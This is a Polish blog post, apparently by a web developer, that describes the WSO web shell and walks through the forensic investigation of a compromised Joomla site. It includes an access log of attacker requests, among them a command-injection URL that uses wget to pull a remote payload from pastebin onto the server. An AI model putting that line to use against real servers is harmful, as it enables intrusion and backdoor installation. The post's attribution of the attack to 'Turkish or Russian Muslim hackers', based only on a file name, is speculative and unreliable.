
WSO Shell: Jak została zainfekowana moja strona internetowa?
Przedstawiam wam jedno z ulubionych narzędzi używanych przez hakerów. Jego prostota użytkowania sprawia, że każdy może stać się potencjalnym hakerem.
Wydaje się, że WSO Shell - bo o nim mowa - zachowuje dobrą równowagę między prostotą a możliwościami. To właśnie dzięki prostemu interfejsowi, stał się jedną z najpopularniejszych powłok internetowych. Jest tak świetny, że niektórzy administratorzy wykorzystują jego potencjał. A hakerzy w wielu przypadkach używają go po prostu do wykonywania złośliwego kodu PHP na stronach internetowych. Teoretycznie jest to coś, co haker mógłby łatwiej osiągnąć przy użyciu bardzo małej ilości kodu.
W społeczności hakerów wokół powłoki WSO wyrósł cały ekosystem. Zostały opracowane dodatkowe narzędzia, które wspierają jego wykonywanie i używanie. Na przykład istnieje narzędzie do tworzenia niestandardowej wersji powłoki z tylko żądanymi funkcjami.

Jest również narzędzie do zarządzania zainfekowanymi witrynami (wiele stron internetowych), które znacznie ułatwia koordynację ataków z wielu serwerów jednocześnie.

Powłoka WSO jest szeroko używana przez niezliczonych hakerów na całym świecie, a społeczność użytkowników, którzy preferują ją jako powłokę internetową, rośnie każdego dnia.
Na przykład, zostały wykonane badania na temat botnetu ChickenKiev, który wykorzystuje WSO w ramach swojej działalności i zostały opublikowane na stronach internetowych Wordfence, korporacji Defiant Inc. Bot ten wykorzystuje skradzione nazwy użytkownika i hasła WordPress do włamywania się, a następnie zarabia przez zainfekowany system WordPress.
Z systemu w którym jest zainstalowany backdoor, tzw. „tylne drzwi”, można wykraść wrażliwe dane jak np. faktury VAT w firmie prowadzonej w formie franczyzy. Bez nich nie jest w stanie opłacić kontrahentów i współpracowników. W takiej sytuacji haker może żądać wykonania opłaty w postaci kryptowaluty w celu ich przywrócenia.
Każda nowa iteracja ma na celu ułatwienie hakerom przejmowania serwerów i robienia z nich wszystkiego co zechcą. Nie można przecenić lenistwa hakerów w tym zakresie przez ustawienie domyślnego hasła na słowo „root”. Aby inni hakerzy przypadkiem nie zdobyli dostępu, jedna z pierwszych linii kodu powłoki WSO zmienia domyślne hasło do jej użycia.
Z życia wzięte
Zostałem poproszony o uruchomienie od jakiegoś czasu nie działającej strony internetowej. Na stronie głównej widniała standardowa wiadomość/błąd: Not Found. The requested URL was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Kiedy jednak zaznaczymy całą treść na stronie (Ctrl+A), pojawią się dość dziwnie zanzaczone elemnty w tym jeden w postaci krzyża/plusa.

Pod nim na środku jest ukryty formularz.

Okazuję się, że jest to spreparowana strona ze standardowym komunikatem.

Formularz w najprostszej formie jaką się da aby wysłał żądanie POST. Wystarczy podać właściwe hasło i naszym oczom ukaże się powłoka WSO.

Jak się dostał na serwer?
Strona internetowa została wykonana w systemie Joomla i korzystała z różnych wtyczek. Wystarczyło prześledzić bazę danych, aby znaleźć informacje które nakierowały mnie na dziurę - „tylne drzwi”.
W tym przypadku była to dodatkowa biblioteka systemu Joomla. Prześledźmy żądania GET wywoływane przez url.
2020-01-03 00:10:35 | http://.../log/red-rtl.php |
2020-01-03 00:55:33 | http://.../administrator/components/com_content/models/fields/blog_item-load.php |
2020-01-03 01:35:37 | http://.../media/system/images/heartbeat-tar.php |
2020-01-03 03:54:10 | http://.../media/media/node_type-atom.php |
2020-01-03 04:20:23 | http://.../beck/cron.php |
2020-01-03 05:14:44 | http://.../media/system/images/wheel-ui.php |
2020-01-03 06:20:42 | http://.../plugins/content/apismtp/apismtp.php?test=hello |
2020-01-03 15:32:05 | http://.../wp-includes/wlwmanifest.xml |
2020-01-03 15:32:05 | http://.../xmlrpc.php?rsd |
2020-01-03 15:32:06 | http://.../blog/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:08 | http://.../web/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:10 | http://.../wordpress/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:11 | http://.../website/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:12 | http://.../wp/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:13 | http://.../news/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:14 | http://.../2018/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:15 | http://.../2019/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:15 | http://.../shop/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:16 | http://.../wp1/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:17 | http://.../test/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:18 | http://.../media/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:19 | http://.../wp2/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:20 | http://.../site/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:21 | http://.../cms/wp-includes/wlwmanifest.xml |
2020-01-03 15:32:22 | http://.../sito/wp-includes/wlwmanifest.xml |
2020-01-03 19:39:16 | http://.../libraries/rokcommon/Doctrine/Record/Listener/sites-ui.php |
2020-01-03 23:08:16 | http://.../templates/gantry/html/joomla/3.0/library-edit.php |
2020-01-03 23:29:57 | http://.../js/lib/ccard.js |
2020-01-03 23:29:58 | http://...//app/etc/local.xml |
2020-01-03 23:41:25 | http://.../phpmyadmin/ |
2020-01-04 03:43:46 | http://.../images/READMES.php |
2020-01-04 11:12:32 | http://.../modules/bamegamenu/ajax_phpcode.php?code=system(""wget -O ../../up.php pastebin.com/raw/CsS17dZX""); |
2020-01-04 11:12:53 | http://.../up.php |
2020-01-04 11:13:07 | http://.../modules/smartprestashopthemeadmin/ajax_smartprestashopthemeadmin.php |
2020-01-04 11:13:29 | http://.../modules/jmsslider/ajax_jmsslider.php?action=addLayer&id_slide=attari&data_type=image |
2020-01-04 11:13:38 | http://.../modules/jmsslider/views/img/layers/up.php |
2020-01-04 11:13:45 | http://.../modules/groupcategory/GroupCategoryUploadImage.php |
2020-01-04 11:13:50 | http://.../modules/verticalmegamenus/VerticalMegaMenusUploadImage.php |
2020-01-04 11:13:56 | http://.../modules/verticalmegamenus/images/temps/up.php |
2020-01-04 20:51:06 | http://.../modx.php |
2020-01-05 09:40:36 | http://.../htaccess.php |
2020-01-05 09:40:56 | http://.../wp-content/themes/shobusha/image/icon_menu.gif |
2020-01-05 09:46:30 | http://.../wp-content/themes/shobusha/image/icon_menu.gif |
2020-01-05 16:20:23 | http://.../plugins/content/apismtp/josmtpapi.php?test=hello |
2020-01-05 20:19:33 | http://.../meniacle/wp-blog-header.php |
2020-01-05 22:20:36 | http://.../media/media/integer.min.php |
2020-01-06 22:26:19 | http://...//libraries/home |
2020-01-07 05:33:13 | http://.../wp-login.php |
2020-01-07 18:06:43 | http://.../favicon.png |
2020-01-07 19:31:21 | http://.../__media__/js/netsoltrademark.php |
2020-01-07 21:07:12 | http://.../readme.php |
2020-01-08 04:49:04 | http://.../plugins/content/apismtp/apismtp.php?test=hello |
Backdoor okazał się w pliku /modules/bamegamenu/ajax_phpcode.php i to za pośrednictwem jego został wgrany inny zainfekowany plik ze strony internetowej pastebin.com.
http://.../modules/bamegamenu/ajax_phpcode.php?code=system(""wget -O ../../up.php pastebin.com/raw/CsS17dZX"");
Po próbie znalezienia zainfekowanego pliku okazało się, że już go tam nie ma. Znalazłem wiele innych zainfekowanych plików ze źródłem WSO. Jednak jeden dziwnie prezentujący się plik zawierał ciąg znaków i był wykonywany przez funkcję eval(). Po rozkodowaniu go, okazało się że to jest również powłoka WSO.

Już na samym początku skrypt za każdym razem wysyła e-mail na wskazany adres w celu poinformowania, gdzie został zainfekowany kod. W tym przypadku jest to wersja 2.6 najnowsza z zaobserwowanych.
Kto stoi za atakiem?
Wszystkie znaki kierują do hakerów tureckich lub rosyjskich muzułmanów. A domyślam się po nazwie pliku, który stworzył haker w dniu 12 maja 2020 r. Jest to ostatni plik w katalogu ./libraries o nazwie respectMuslim.php.

Jak i po wylistowaniu 2 tyś. rekordów z bazy danych używanych do spamowania. Widnieją w niej głównie adresy serwisów rosyjskich jaki i głównych portali mejlowych tj. Gmail, czy Yahoo. Kolejny szczegół na który warto zwrócić uwagę to numer identyfikacyjny kolejnych rekordów. Hakerzy pozostawili pierwsze dwa, który dotyczą nieświadomego administratora systemu Joomla, a kolejne zaczynają się już od ponad 700 tysięcznego rekordu. Oznaczać to może, że już tyle adresów e-mail było wpisanych do bazy. Także po rozesłaniu takiej ilości spamu, adres IP jak i domena z której była wykonywana wysyłka zostały zbanowane, a serwer nie nadawał się już dla hakerów.

Ich rozpoznawalny styl przedstawiam na poniższym zrzucie ekranu jaki na koniec pozostawili po sobie.

Podsumowanie
Rozwiązanie problemu jakim było poznanie przyczyny niedziałającej strony internetowej zajęło mi kilka godzin. Nie spodziewałem się takiego rozwoju zdarzeń i odkryć. Dzięki temu, że znajomy poprosił mnie o interwencję, uświadomiło mnie jak blisko nas są złodzieje. Jeśli potrzebujesz pomocy w zrozumieniu, co się stało z twoją stroną internetową i jak zapobiec włamaniu w przyszłości lub twoja domena/IP potrzebuje usunięcia z czarnych list skontaktuj się ze mną.